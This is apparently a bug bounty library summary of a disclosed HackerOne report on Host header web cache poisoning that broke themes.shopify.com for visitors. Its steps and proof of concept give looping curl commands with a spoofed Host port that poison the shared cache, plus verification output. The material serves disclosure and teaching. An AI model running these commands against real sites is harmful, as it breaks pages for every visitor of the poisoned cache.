# https://themes.shopify.com::: Host header web cache poisoning lead to DoS

Host header with unopened port :1337 was cached and reflected into canonical/asset URLs on themes.shopify.com, breaking page resources for all visitors.

- Payout: $2,900
- Severity: medium
- Program: Shopify
- Found by: g4mm4
- Disclosed: 2021-04-08
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1096609
- Library page: https://bugbountylibrary.com/r/h1%3A1096609
- Tags: area:web domain:web impact:dos kind:bounty platform:hackerone sev:medium technique:recon vuln:cache-poisoning vuln:dos vuln:host-header

**Target:** themes.shopify.com homepage / CDN cache keyed without Host port
**Root cause:** Cache key ignored the Host header port while the app reflected the full Host (including :1337) into canonical links and asset URLs, so a poisoned response was served to normal visitors.
**Steps:**
1. Send `curl -ik "https://themes.shopify.com:443/?g4mm4=hitthecache" -H "Host: themes.shopify.com:1337"` repeatedly to prime the cache.
2. Confirm poisoning: `curl -ik "https://themes.shopify.com:443/"` returns `<link rel="canonical" href="https://themes.shopify.com:1337/">`.
3. Victim loads homepage; images/CSS/links point to themes.shopify.com:1337 which is closed, so resources fail to load.
**How found:** Researcher tested whether the Host header port was reflected into page output and whether the CDN cache key omitted it, then verified persistence via a second clean request.
**Exploitation:** Attacker repeatedly requests a cache-busting query with a spoofed Host header containing an unopened port, poisoning the shared cache; subsequent legitimate visitors receive the poisoned HTML whose canonical and asset URLs point to the dead port, breaking the page.
**Insight:** When testing cache poisoning, vary the Host header's port (not just hostname) and check whether reflected canonical/asset URLs survive into cached responses served to requests without the spoofed header.

## Proof of concept (copied exactly from the original report)

**Cache poisoning request with Host port 1337**

```
$ while true; do curl -ik "https://themes.shopify.com:443/?g4mm4=hitthecache" -H "Host: themes.shopify.com:1337"|grep ":1337"; sleep 0;echo 1; done
```

**Verification request showing poisoned canonical link**

```
$ while true; do curl -ik "https://themes.shopify.com:443/"|grep ":1337"; done
----------
and the output from command with be confirmed my Host header poisoning worked:
$ while true; do curl -ik "https://themes.shopify.com:443/"|grep ":1337"; done
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0  <link rel="canonical" href="https://themes.shopify.com:1337/">
```

